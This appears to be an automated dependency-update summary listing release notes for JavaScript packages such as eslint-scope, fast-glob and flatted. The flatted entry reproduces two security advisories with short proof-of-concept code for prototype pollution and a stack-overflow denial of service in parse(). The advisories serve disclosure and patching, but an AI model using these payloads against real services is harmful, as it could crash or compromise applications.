Commits

See the full diff on Github. The new version differs by 17 commits:

โ†—๏ธ eslint-plugin-ava (indirect, 12.0.0 โ†’ 17.0.1) ยท Repo

Release Notes

17.0.1


v17.0.0...v17.0.1

17.0.0

Breaking

Improvements

  • Support t.snapshot() formatAsCodeBlock options 38cd4fd
  • Remove enhance-visitors dependency a867c89
  • test-title-format: Check template literal titles 41a1016

Fixes

  • use-true-false: Fix Object.hasOwn() not being flagged 82118fb
  • no-incorrect-deep-equal: Fix NaN, Infinity, and -Infinity not being flagged e4ce630
  • use-true-false: Fix in and instanceof not being flagged 9a8832c
  • no-incorrect-deep-equal: Fix negative number literals not being flagged dbb691b
  • no-identical-title: Fix duplicate not detected across string literal and template literal f418374
  • no-incorrect-deep-equal: Fix .skip variants not being flagged 0299697
  • prefer-async-await: Fix false positive on nested functions f2ae631
  • hooks-order: Fix serial hooks being ignored 03640ec
  • Don't crash or report false positives when a computed member expression is used as a test modifier 7c78018
  • use-t-well: Don't crash when a computed member expression is used 7b5cab1
  • use-t: Don't crash when a test call has no arguments 41caf01
  • prefer-t-regex: Don't crash or report when bare RegExp() is compared to a boolean 9f27e14
  • prefer-t-regex: Don't crash or suggest invalid fix when .test() is called without arguments a863404
  • use-t-throws-async-well: Fix autofix not offered for titled async tests affa778
  • Fix handling of t.skip 67bf495

v16.0.1...v17.0.0

16.0.1

  • no-nested-tests: Fix false positive on tests following a nested pair 0a1218d
  • no-async-fn-without-await: Fix invalid error location end b596b27
  • use-t: Fix crash when macro object contains a spread element 9bea7fc
  • no-async-fn-without-await: Fix await in nested functions being counted as test-level await 90f7a0b
  • no-conditional-assertion: Ignore conditionals wrapping the entire test() call 2077c22

v16.0.0...v16.0.1

16.0.0

Breaking

New rules

Improvements

  • Support TypeScript typed test pattern in all rules 14af035
  • Recognize alternative test object names in t.try() callbacks 6435768
  • Cache loadAvaHelper result to improve performance 98d7655
  • Fix monorepo support in project root detection 8e63d63
  • test-title: Add title validation checks 4e14de5
  • assertion-arguments: Detect error constructors passed as assertion messages d87de24
  • use-t-well: Suggest AVA equivalents for common assertion names from other test frameworks 449013a
  • no-unknown-modifiers: Forbid .always without after/afterEach b8c93c2
  • assertion-arguments: Detect swapped t.regex()/ t.notRegex() arguments 88e73a7
  • use-t-well: Allow calling t.context as a function be9d321
  • assertion-arguments: Validate t.plan() argument is a non-negative integer 7375d05
  • prefer-async-await: Add more optional chaining test cases af9be74
  • prefer-async-await: Handle optional chaining in .then() detection 75c49d0
  • no-import-test-files: Fix false positive for directory imports 1e06401
  • assertion-arguments: Recognize string concatenation as valid assertion message a31315a
  • use-true-false: Prefer t.true()/t.false() over t.is(โ€ฆ, true)/t.is(โ€ฆ, false) 66d4b15
  • assertion-arguments: Add test for destructured parameter as assertion message fb95ef2
  • use-test: Allow inline type imports 4f1403a
  • use-test: Support .mts and .cts TypeScript file extensions bd2274a
  • assertion-arguments: Fix crash when assertion message argument is an unresolvable variable 32965c3

v15.1.0...v16.0.0

15.1.0

  • Disallow extra properties in rule options (#359) dfc0993

v15.0.1...v15.1.0

15.0.1

v15.0.0...v15.0.1

15.0.0

Breaking

v14.0.0...v15.0.0

14.0.0

Breaking

  • Require Node.js 14 and ESLint 8 bd8c4c6

Fixes

  • prefer-t-regex: Prevent some type errors (#350) 40aaadc

v13.2.0...v14.0.0

13.2.0

What's Changed

Full Changelog: v13.1.0...v13.2.0

13.1.0

Full Changelog: v13.0.0...v13.1.0

13.0.0

This release contains changes for compatibility with AVA 4, but can still be used with AVA 3 projects. Note however that test.cb() is being removed in AVA 4 and is no longer covered by this plugin.

  • Support the default modifier in AVA 4 64cc8c6
  • Match AVA 4 supported Node.js versions (^12.22, ^14.17, ^16.4) 98f7613
  • Remove callback-test related rules, this is being removed in AVA 4 2f8a226
  • Support test.macro(), new in AVA 4 abc162f

Other changes:

  • Fix fixable flag of no-incorrect-deep-equal 7ce7a43
  • Fix no-identical-title when there is no title cf361f1
  • Simplify use-t to only check the first parameter c1cd7da

v12.0.0...v13.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ eslint-plugin-unicorn (indirect, 35.0.0 โ†’ 67.0.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ eslint-rule-docs (indirect, 1.1.231 โ†’ 1.1.235) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ eslint-scope (indirect, 5.1.1 โ†’ 9.1.2) ยท Repo ยท Changelog

Release Notes

9.1.2 (from changelog)

Dependencies

  • The following workspace dependencies were updated
    • devDependencies
      • espree bumped from ^11.1.1 to ^11.2.0

9.1.1 (from changelog)

Dependencies

  • The following workspace dependencies were updated
    • devDependencies
      • eslint-visitor-keys bumped from ^5.0.0 to ^5.0.1
      • espree bumped from ^11.1.0 to ^11.1.1

8.0.2

8.0.2 (2024-07-08)

Bug Fixes

  • Definition#name in catch patterns should be Identifier node (#127) (8082caa)

8.0.1

8.0.1 (2024-03-20)

Documentation

Chores

  • switch to eslint flat config (#121) (59b1606)
  • upgrade espree@10.0.1, eslint-visitor-keys@4.0.0 (#119) (6f95a94)

8.0.0

8.0.0 (2024-01-04)

โš  BREAKING CHANGES

  • use ESTree directive property when searching for "use strict" (#118)
  • class extends is evaluated in the class scope (#116)
  • Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115)

Features

  • Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115) (ed67857)
  • use ESTree directive property when searching for "use strict" (#118) (23fe81f)

Bug Fixes

  • class extends is evaluated in the class scope (#116) (42ef7a9)

Documentation

Chores

7.2.2

7.2.2 (2023-07-27)

Chores

7.2.1

7.2.1 (2023-05-31)

Chores

7.2.0

Features

  • 70c8db1 feat: Add isGlobalReturn method on scopeManager. (#96) (Nicholas C. Zakas)

Documentation

  • 25abacf docs: add badges (#89) (Milos Djermanovic)

Build Related

  • a8811b8 build: add node v18 (#91) (ๅ”ฏ็„ถ)

Chores

  • 3dbad80 chore: add triage action (#95) (Milos Djermanovic)
  • 34ffedc ci: add Node v19 (#94) (Milos Djermanovic)
  • 4c00534 ci: update Github actions (#93) (Deepshika S)
  • 6c8ccf2 chore: add funding field (#92) (Deepshika S)

7.1.1

Bug Fixes

  • 4e1d24c fix: ignore "use strict" directives in ES3 (#87) (Milos Djermanovic)

Chores

  • 8938109 chore: upgrade espree@9.3.1 eslint-visitor-keys@3.3.0 (#88) (Milos Djermanovic)
  • ceb8bdd ci: use node v16 (#84) (Nitin Kumar)
  • 62e147b test: add tests with year-based ecmaVersion (#83) (Milos Djermanovic)

7.1.0

Features

  • d756f1e feat: Add sourceType:commonjs support (#81) (Nicholas C. Zakas)

7.0.0

Breaking Changes

  • 22a55c0 feat!: support class static blocks (#80) (Milos Djermanovic)

Build Related

  • 4aafb61 build: upgrade eslint-release to v3.2.0 to support conventional commits (#79) (Milos Djermanovic)
  • 263c762 Build: add node v17 (#76) (ๅ”ฏ็„ถ)

6.0.0

  • 4ee1d80 Fix: Ensure correct version in package (#73) (Nicholas C. Zakas)
  • 82a7e6d Breaking: Switch to ESM (fixes #70) (#71) (Brett Zamir)
  • 0b4a5f1 Update: support class fields (refs eslint/eslint#14343) (#69) (Toru Nagashima)
  • 39f8cfc Chore: upgrade estraverse to version 5 (#68) (Rouven WeรŸling)
  • ae27ff3 Docs: Add range to espree options in README (fixes #66) (#67) (Alan Liang)

Does any of this look wrong? Please let us know.

โ†—๏ธ eslint-visitor-keys (indirect, 2.1.0 โ†’ 5.0.1) ยท Repo ยท Changelog

Release Notes

5.0.1

4.0.0

4.0.0 (2024-02-08)

โš  BREAKING CHANGES

  • Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#63)

Features

  • Require Node.js ^18.18.0 || ^20.9.0 || &gt;=21.1.0 (#63) (388b2ac)

Chores

3.4.3

3.4.3 (2023-08-08)

Chores

3.4.2

3.4.2 (2023-07-27)

Documentation

Chores

3.4.1

3.4.1 (2023-05-05)

Bug Fixes

  • correct types for node16 resolution (#47) (7bd1fc1)

Chores

3.4.0

Features

  • 6ece4bd feat: add JSXSpreadChild and tool to build keys out of AST definitions (#36) (Brett Zamir)

Bug Fixes

  • e9a070f fix: remove useless sourcemap url (fixes #43) (#44) (ไฝ™่…พ้–)

Documentation

  • 4beb7a7 docs: update badges (#37) (Milos Djermanovic)

Build Related

  • 81c0732 build: add node v18 (#39) (ๅ”ฏ็„ถ)

Chores

  • 0398109 chore: add triage action (#42) (Milos Djermanovic)
  • bcffbe5 ci: add Node v19 (#41) (Milos Djermanovic)
  • c24f2e4 chore: update github actions and add funding field (#40) (Deepshika S)

3.3.0

Features

  • 7f10327 feat: Bundle JSDoc-built TypeScript declaration file (#34) (Brett Zamir)

3.2.0

Features

  • 5c53218 feat: add missing JSXOpeningFragment and JSXClosingFragment (#33) (Richard Huang)

Documentation

  • 2a5c9a6 docs: readme add syntax highlighting (#32) (coderaiser)

3.1.0

Enhancements

  • 5f5b232 Update: add StaticBlock (#29) (Milos Djermanovic)

Documentation

  • 7b756cd Docs: Update the minimum Node.js version requirement (#26) (0uep)

Build Related

  • 5e3e687 build: upgrade eslint-release to v3.2.0 to support conventional commits (#31) (Milos Djermanovic)
  • 53d3939 Build: add node v17 (#30) (ๅ”ฏ็„ถ)

Chores

  • e89bff9 Chore: use actions/setup-node@v2 (่–›ๅฎš่ฐ”็š„็Œซ)

3.0.0

  • 701b67d Breaking: drop node v10/v13/v15 (refs eslint/eslint#14023) (#23) (่–›ๅฎš่ฐ”็š„็Œซ)
  • f584b12 Breaking: Switch to ESM (#24) (Brett Zamir)
  • 7279e73 Build: Update branch reference in CI (#25) (Milos Djermanovic)
  • c6846d6 Upgrade: eslint-release (#21) (Nicholas C. Zakas)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ espree (indirect, 7.3.1 โ†’ 11.2.0) ยท Repo ยท Changelog

Release Notes

Too many releases to show here. View the full release notes.

โ†—๏ธ espurify (indirect, 2.1.1 โ†’ 3.2.0) ยท Repo ยท Changelog

Release Notes

3.2.0 (from changelog)

Features

3.1.0 (from changelog)

Features

3.0.0 (from changelog)

Features

Breaking Changes

This release will not affect most users immediately. There are three notable changes.

  1. espurify function is still exported as default but deprecated in favor of named exports aiming ESM era, and will be removed in future major releases. Please use espurify.purifyAst instead.

  2. espurify.cloneWithWhitelist is still exported but deprecated in favor of more inclusive language and will be removed in future major releases. Please use espurify.cloneWithAllowlist instead.

  3. Some new properties will appear in purified AST and may affect deep-equality of the tree, since default ecmaVersion is changed from 2018 to 2022 which add some properties to existing Nodes.

-  CallExpression: ['type', 'callee', 'arguments'],
+  CallExpression: ['type', 'callee', 'arguments', 'optional'],
-  ExportAllDeclaration: ['type', 'source'],
+  ExportAllDeclaration: ['type', 'source', 'exported'],
-  Literal: ['type', 'value', 'regex'],
+  Literal: ['type', 'value', 'regex', 'bigint'],

To make espurify's behavior same as v2, please use espurify.customize function with ecmaVersion: 2018 option.

const purify = espurify.customize({ ecmaVersion: 2018 });
const clonedAst = purify(originalAst);

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ esquery (indirect, 1.4.0 โ†’ 1.7.0) ยท Repo

Sorry, we couldnโ€™t find anything useful about this release.

โ†—๏ธ estraverse (indirect, 4.3.0 โ†’ 5.3.0) ยท Repo

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ execa (indirect, 5.1.1 โ†’ 9.6.1) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ fast-glob (indirect, 3.2.7 โ†’ 3.3.3) ยท Repo

Release Notes

3.3.3

Full Changelog: 3.3.2...3.3.3

๐Ÿ’ฌ Common

๐Ÿ› Bug fixes

  • Apply absolute negative patterns to full path instead of file path (#441, thanks @webpro)

3.3.2

Full Changelog: 3.3.1...3.3.2

๐Ÿ› Bug fixes

  • Handle square brackets as a special character on Windows in escape functions (#425)
  • Keep escaping after brace expansion (#422)

3.3.1

Full Changelog: 3.3.0...3.3.1

This release fixes a regression for cases where the ignore option is used with a string (#403, #404).

The public interface of this package does not support a string as the value for the ignore option since 2018 year (release).

So, in the next major release, we will reintroduce method implementations that do not involve strings in the ignore option.

3.3.0

Full Changelog: 3.2.12...3.3.0

๐Ÿš€ Improvements

Method aliases

New methods (glob, globSync, globStream) have been added in addition to the current methods (default import, sync, stream), which eliminate the need to rename the method when importing. In addition, an async alias has been added for the default import, which makes it possible to use this packet with ESM.

Method to convert paths to globs

A new method (convertPathToPattern) has been added in this release to convert a path to a pattern. The primary goal is to enable users to avoid processing Windows paths in each location where this package is used by utilities from third-party packages.

See more details in the pull request.

๐Ÿ› Bug fixes

  • In the past, we mishandled patterns that contained slashes when the baseNameMatch option was enabled, which went against the documented behavior. (#312)
  • Several problems with matching patterns that contain brace expansion have been resolved. The primary issue solved is when the pattern has duplicate slashes after it is expanded (#394), or the micromatch package does not correctly generate a regular expression (#365).
  • All negative patterns will now have the dot option enabled when matching paths. Previously, the !**/* patterns did not exclude hidden files (start with a dot). (#343)
  • The issue that led to duplicates in the results when overlapping or duplicate patterns were present among the patterns has been fixed. At the moment, we are only talking about leading dot. Other cases are not included. For example, running with the patterns ['./file.md', 'file.md', '*'] will now only include file.md once in the results. (#190)

๐Ÿ“– Documentation

A clarifying note has been added for the concurrency option, which provides more detailed information about the Thread Pool utilization.

โš™๏ธ Infrastructure

  • The benchmark in CI is now running on Node.js 20.
  • The benchmark now uses the public package bencho instead of an in-house implementation. You may want to try this solution for your packages and provide feedback.

๐Ÿฅ‡ New Contributors

3.2.12

Full Changelog: 3.2.11...3.2.12

๐Ÿ› Bug fixes

Fixed an issue introduced in 3.2.7 related to incorrect application of patterns to entries with a trailing slash when the entry is not a directory.

Before changes:

fg.sync('**/!(*.md)')
// ['file.md', 'a/file.md', 'a/file.txt']

After fix:

fg.sync('**/!(*.md)')
// ['a/file.txt']

Thanks @AgentEnder for the issue (#357).

๐Ÿš€ Improvements

This release includes performance improvements for the asynchronous method. For this method we now use an asynchronous directory traversal interface instead of using a streaming interface. This gives up to 15% acceleration for medium and large directories. The result depends a lot on hardware.

You can find the benchmark results for this release in CI here.

Here are a few of measurements on my laptop:

===> Benchmark pattern "*" with 100 launches (regression, async)
===> Max stdev: 7 | Retries: 3 | Options: {}

Name                   Time, ms  Time stdev, %  Memory, MB  Memory stdev, %  Entries  Errors  Retries
---------------------  --------  -------------  ----------  ---------------  -------  ------  -------
fast-glob-current.js   4.390     0.252          6.253       0.015            4        0       1
fast-glob-previous.js  5.653     0.633          6.051       0.056            4        0       1

===> Benchmark pattern "**" with 100 launches (regression, async)
===> Max stdev: 7 | Retries: 3 | Options: {}

Name                   Time, ms  Time stdev, %  Memory, MB  Memory stdev, %  Entries  Errors  Retries
---------------------  --------  -------------  ----------  ---------------  -------  ------  -------
fast-glob-current.js   34.587    1.287          10.654      0.607            11835    0       1
fast-glob-previous.js  41.972    2.086          10.236      1.224            11835    0       1

3.2.11

Full Changelog: 3.2.10...3.2.11

๐Ÿ› Bug fixes

Yeap, this is another release aimed at fixing problems with detecting brace expansions in patterns. This time, patterns like abc/{a.txt,b.js} was not marked as a dynamic pattern. So, now the regex has been rewritten to a generalized solution as a function to avoid future problems due to the complexity of the regular expression.

Thanks @MurzNN for the report of this problem (#351).

3.2.10

Full Changelog: 3.2.9...3.2.10

๐Ÿ› Bug fixes

  • Fixed a regression in 3.2.8 when the {a,b,c} pattern no longer considered a dynamic pattern (thanks @amitdahan, #347).

๐Ÿฅ‡ New Contributors

3.2.9

Full Changelog: 3.2.8...3.2.9

๐Ÿ› Bug fixes

  • Fixed a regression in 3.2.8 with invalid regular expression on older node.js versions (#345).

3.2.8

Full Changelog: 3.2.7...3.2.8

๐Ÿ› Bug fixes

Fix directory matching with trailing slashes (#290)

Thanks @Trott for investigating the problem and the detailed description.

Previously the src/*/ pattern did not work as expected (like src/*).

Double-slash in the middle of the pattern is not collapsed (#330)

Starting from this release, patterns like src//* will work like similar patterns without duplicate slashes. This was done for continuity with other solutions (glob, ls src//*, python, golang, โ€ฆ).

Adjust inefficient regular expressions (#336, #342, #344)

Thanks @Trott for fixing bugs and @XhmikosR for adding the CodeQL action to CI pipeline.

๐Ÿ“– Documentation

โš™๏ธ Infrastructure

๐Ÿฅ‡ New Contributors

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ fastq (indirect, 1.11.1 โ†’ 1.20.1) ยท Repo

Release Notes

1.20.1

What's Changed

  • chore(package): explicitly declare js module type by @Fdawgs in #95
  • feat: migrate from StandardJS to ESLint with neostandard by @mcollina in #98
  • feat: add abort() method to settle pending tasks by @mcollina in #101

New Contributors

Full Changelog: v1.19.1...v1.20.1

1.19.1

What's Changed

New Contributors

  • @qpwo made their first contribution in #92

Full Changelog: v1.19.0...v1.19.1

1.19.0

What's Changed

New Contributors

Full Changelog: v1.18.0...v1.19.0

1.18.0

What's Changed

  • fix: ensure drained() resolves after async tasks complete by @todoroff in #89

New Contributors

Full Changelog: v1.17.1...v1.18.0

1.17.1

What's Changed

  • Emit drain event after pause/resume combo by @mcollina in #82

Full Changelog: v1.17.0...v1.17.1

1.17.0

What's Changed

New Contributors

Full Changelog: v1.15.0...v1.17.0

1.16.0

What's Changed

New Contributors

Full Changelog: v1.15.0...v1.16.0

1.15.0

What's Changed

  • fix: queueAsPromised.drained() resolves while queue is idle by @0xOlias in #64

New Contributors

Full Changelog: v1.14.0...v1.15.0

1.14.0

What's Changed

New Contributors

Full Changelog: v1.13.0...v1.14.0

1.13.0

What's Changed

New Contributors

Full Changelog: v1.12.0...v1.13.0

1.12.0

What's Changed

Full Changelog: v1.11.1...v1.12.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 37 commits:

โ†—๏ธ file-entry-cache (indirect, 6.0.1 โ†’ 8.0.0) ยท Repo ยท Changelog

Release Notes

8.0.0

Removing support for Nodejs 10, 12, and 14

This is updating modules to the latest versions and supporting Nodejs >=16 moving forward with v8.0.0

What's Changed

Full Changelog: v7.0.2...v8.0.0

7.0.2

What's Changed

Full Changelog: v7.0.1...v7.0.2

7.0.1

What's Changed

Full Changelog: v7.0.0...v7.0.1

7.0.0

What's Changed

Full Changelog: v6.0.1...v7.0.0

Does any of this look wrong? Please let us know.

โ†—๏ธ fill-range (indirect, 7.0.1 โ†’ 7.1.1) ยท Repo

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ flat-cache (indirect, 3.0.4 โ†’ 4.0.1) ยท Repo ยท Changelog

Release Notes

4.0.1

What's Changed

New Contributors

Full Changelog: v4.0.0...v4.0.1

4.0.0

Major version release

To stay up to date with latest module dependencies we moved to supporting nodejs >=16 with this release. All other functionality stayed the same.

What's Changed

Full Changelog: v3.2.0...v4.0.0

3.2.0

What's Changed

New Contributors

Full Changelog: v3.1.1...v3.2.0

3.1.1

What's Changed

New Contributors

Full Changelog: v3.0.4...v3.1.1

Does any of this look wrong? Please let us know.

โ†—๏ธ flatted (indirect, 3.2.2 โ†’ 3.4.2) ยท Repo

Security Advisories ๐Ÿšจ

๐Ÿšจ Prototype Pollution via parse() in NodeJS flatted


Summary

The parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index
keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it
with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate
parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype
to the consumer. Any code that subsequently writes to that property will pollute the global prototype.


Root Cause

File: esm/index.js:29 (identical in cjs/index.js)

  const resolver = (input, lazy, parsed, $) => output => {
    for (let ke = keys(output), {length} = ke, y = 0; y < length; y++) {
      const k = ke[y];
      const value = output[k];    
      if (value instanceof Primitive) {
        const tmp = input[value];      // Bug is here

No validation that value is a safe numeric index input is built as a plain Array. JavaScript's property lookup on arrays traverses the prototype chain for non-numeric keys. The key "__proto__" resolves to Array.prototype, which:

  • has type "object" โ†’ passes the typeof tmp === object guard at line 30
  • is not in the parsed Set yet โ†’ passes the !parsed.has(tmp) guard.
  • The reference to Array.prototype is then enqueued in lazy and later unconditionally assigned to the output object.

Replication Steps

  const Flatted = require('flatted'); 
  const parsed = Flatted.parse('[{"x":"__proto__"}]');
  parsed.x.polluted = 'pwned';
  console.log([].polluted);  // Returns true

Impact
An attacker can supply a crafted flatted string to parse() that causes the returned object to hold a live reference to Array.prototype, enabling any downstream code that writes to that property to pollute the global prototype chain, potentially causing denial of service or code execution.

Recommended solution
Validate that the index string represents an integer within the bounds of input before accessing it:

// Before (vulnerable)
const tmp = input[value];

// After (safe)
const idx = +value; // coerce boxed String โ†’ number
const tmp = (Number.isInteger(idx) && idx >= 0 && idx < input.length)
? input[idx]
: undefined;

๐Ÿšจ flatted vulnerable to unbounded recursion DoS in parse() revive phase

Summary

flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.

Impact

Denial of Service (DoS). Any application that passes untrusted input to flatted.parse() can be crashed by an unauthenticated attacker with a single request.

flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.

Proof of Concept

const flatted = require('flatted');

// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
  arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';

const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded

Fix

The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive revive() to a stack-based loop.

Affected Versions

All versions prior to the PR #88 fix.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ get-stream (indirect, 6.0.1 โ†’ 9.0.1) ยท Repo

Release Notes

9.0.1

  • Upgrade ReadableStream[Symbol.asyncIterator] ponyfill (#128) df42674

v9.0.0...v9.0.1

9.0.0

Breaking

Improvements

v8.0.1...v9.0.0

8.0.1

Fixes

v8.0.0...v8.0.1

8.0.0

Huge thanks to @ehmicky for doing all the work for this release ๐Ÿ™Œ

Breaking

Improvements

Fixes

TypeScript types

Documentation

Performance

  • Do not block the event loop when the stream ends. (#92)

v7.0.1...v8.0.0

7.0.1

  • Work around issue with handling large sizes e58d141

v7.0.0...v7.0.1

7.0.0

Breaking

  • Require Node.js 16 70571f8
  • This package is now pure ESM. Please read this.
  • Removed getStream.array()
  • const getStream = require('get-stream'); getStream.buffer(โ€ฆ); โ†’ import {getStreamAsBuffer} from 'get-stream'; getStreamAsBuffer(โ€ฆ);
  • const getStream = require('get-stream'); getStream.MaxBufferError; โ†’ import {MaxBufferError} from 'get-stream'; MaxBufferError;

Tip

You may not need this package anymore.


v6.0.1...v7.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 68 commits:

โ†—๏ธ glob-parent (indirect, 5.1.2 โ†’ 6.0.2) ยท Repo ยท Changelog

Security Advisories ๐Ÿšจ

๐Ÿšจ glob-parent 6.0.0 vulnerable to Regular Expression Denial of Service

glob-parent 6.0.0 is vulnerable to Regular Expression Denial of Service (ReDoS). This issue is fixed in version 6.0.1.

This vulnerability is separate from GHSA-ww39-953v-wcq6.

Release Notes

6.0.2

Bug Fixes

6.0.1

Bug Fixes

  • Resolve ReDoS vulnerability from CVE-2021-35065 (#49) (3e9f04a)

6.0.0

โš  BREAKING CHANGES

  • Correct mishandled escaped path separators (#34)
  • upgrade scaffold, dropping node <10 support

Bug Fixes

  • Correct mishandled escaped path separators (#34) (32f6d52), closes #32

Miscellaneous Chores

  • upgrade scaffold, dropping node <10 support (e83d0c5)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:

โ†—๏ธ globals (indirect, 13.10.0 โ†’ 17.6.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ globby (indirect, 12.0.0 โ†’ 16.2.0) ยท Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ graceful-fs (indirect, 4.2.8 โ†’ 4.2.11) ยท Repo

Commits

See the full diff on Github. The new version differs by 17 commits:

โ†—๏ธ has-flag (indirect, 4.0.0 โ†’ 5.0.1) ยท Repo

Release Notes

5.0.1

v5.0.0...v5.0.1

5.0.0

Breaking

v4.0.0...v5.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ human-signals (indirect, 2.1.0 โ†’ 8.0.1) ยท Repo ยท Changelog

Release Notes

8.0.1

Documentation

  • Improve documentation in README.md

8.0.0

Breaking changes (types)

  • The SignalNumber and Signal['number'] types in TypeScript are now stricter. They only allow valid signal numbers like 1 or 9. They do not allow invalid signal numbers like -1, 1.5 or 999. Please note that 0 is not considered a valid signal number, although it can be passed to process.kill().

Types

  • The signalsByName[signalName] and signalsByNumber[signalNumber] types in TypeScript are now Signal instead of Signal | undefined. This means you can now do signalsByName[signalName].description instead of signalsByName[signalName]!.description.

7.0.0

Breaking changes (types)

  • The SignalName and Signal['name'] types in TypeScript are now stricter. They only allow valid signal names like 'SIGINT'. They do not allow lowercase signals like 'sigint' nor unknown signals like 'SIGOTHER'.

6.0.0

Breaking changes

  • Minimal supported Node.js version is now 18.18.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ ignore (indirect, 4.0.6 โ†’ 5.3.2) ยท Repo ยท Changelog

Release Notes

5.3.0

5.3.0

  • MINOR export Options interface (#105)

An upgrade is safe for all dependents


It allows typing external methods which expect Options as a param, by importing the Options interface.

import {Options} from 'ignore'

5.2.4

  • PATCH fixes normal single asterisk and normal consecutive asterisks defined in gitignore spec (#57)
  • PATCH invalid trailing backslash will not throw unexpectedly

An upgrade is recommended for all dependents


The following rules could be not properly parsed with previous ignore versions

**foo
*bar
qu*ux
abc\   # `ignore` would throw if no whitespace after `\`

5.2.0

  • PATCH support readonly arrays of typescript. (#70)
  • MINOR bring backward compatibility with relative paths. (#75)

An upgrade is recommended for all dependents.


ignore().ignores('../foo/bar.js') // will throw

And the code below will not throw, however it is not recommended

ignore({
  allowRelativePaths: true
}).ignores('../foo/bar.js')

Recommend:

ignore().ignores('foo/bar.js')

5.1.9

  • PATCH fixes ignorecase when internal cache is hit. (#74)

An upgrade is recommended for all dependents.

5.1.5

  • PATCH fixes escaping for square brackets (#59)

An upgrade is recommended for all dependents.

5.1.1

  • PATCH fixes isPathValid on Windows (#54)

On Windows, if path is an absolute path, ig.ignores(path), ig.test(path) and related methods will now throw an error as expected.

5.1.0

  • FEATURE: Typescript: export interface Ignore (#53)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

โ†—๏ธ irregular-plurals (indirect, 3.3.0 โ†’ 3.5.0) ยท Repo

Release Notes

3.5.0

v3.4.1...v3.5.0

3.4.1

  • Fix compatibility with bundlers fe4ec96

v3.4.0...v3.4.1

3.4.0

v3.3.0...v3.4.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 7 commits:

โ†—๏ธ is-builtin-module (indirect, 3.1.0 โ†’ 5.0.0) ยท Repo

Release Notes

5.0.0

Breaking

  • Remove punycode since it's deprecated

Improvements


v4.0.0...v5.0.0

4.0.0

Breaking

  • Require Node.js 18 52df82e
  • This package is now pure ESM. Please read this.
  • This package now matches based a static list of modules from the latest Node.js version. If you want to check for a module in the current Node.js (previous behavior), use the core isBuiltin method.

v3.2.1...v4.0.0

3.2.1

  • Module names that end in a trialing slash should not be considered builtin (#13) 4d9b398

v3.2.0...v3.2.1

3.2.0

v3.1.0...v3.2.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 10 commits:

โ†—๏ธ is-docker (indirect, 2.2.1 โ†’ 3.0.0) ยท Repo

Release Notes

3.0.0

Breaking

v2.2.1...v3.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 4 commits:

โ†—๏ธ is-glob (indirect, 4.0.1 โ†’ 4.0.3) ยท Repo

Commits

See the full diff on Github. The new version differs by 8 commits:

โ†—๏ธ is-plain-obj (indirect, 1.1.0 โ†’ 4.1.0) ยท Repo

Release Notes

4.1.0

v4.0.0...v4.1.0

4.0.0

Breaking

v3.0.0...v4.0.0

3.0.0

Breaking

Breaking for TypeScript users

  • Make the TypeScript types stricter (#10) e20ccc1

v2.1.0...v3.0.0

2.1.0

v2.0.0...v2.1.0

2.0.0

Breaking:

Enhancements:

v1.1.0...v2.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 24 commits:

โ†—๏ธ is-stream (indirect, 2.0.1 โ†’ 4.0.1) ยท Repo

Release Notes

4.0.1

v4.0.0...v4.0.1

3.0.0

Breaking

v2.0.1...v3.0.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

โ†—๏ธ is-wsl (indirect, 2.2.0 โ†’ 3.1.1) ยท Repo

Release Notes

3.1.1

  • Fix detection of WSL with custom kernels 3846912

v3.1.0...v3.1.1

3.1.0

v3.0.0...v3.1.0

3.0.0

Breaking

v2.2.0...v3.0.0

Does any of this look wrong? Please let us know.

Commits

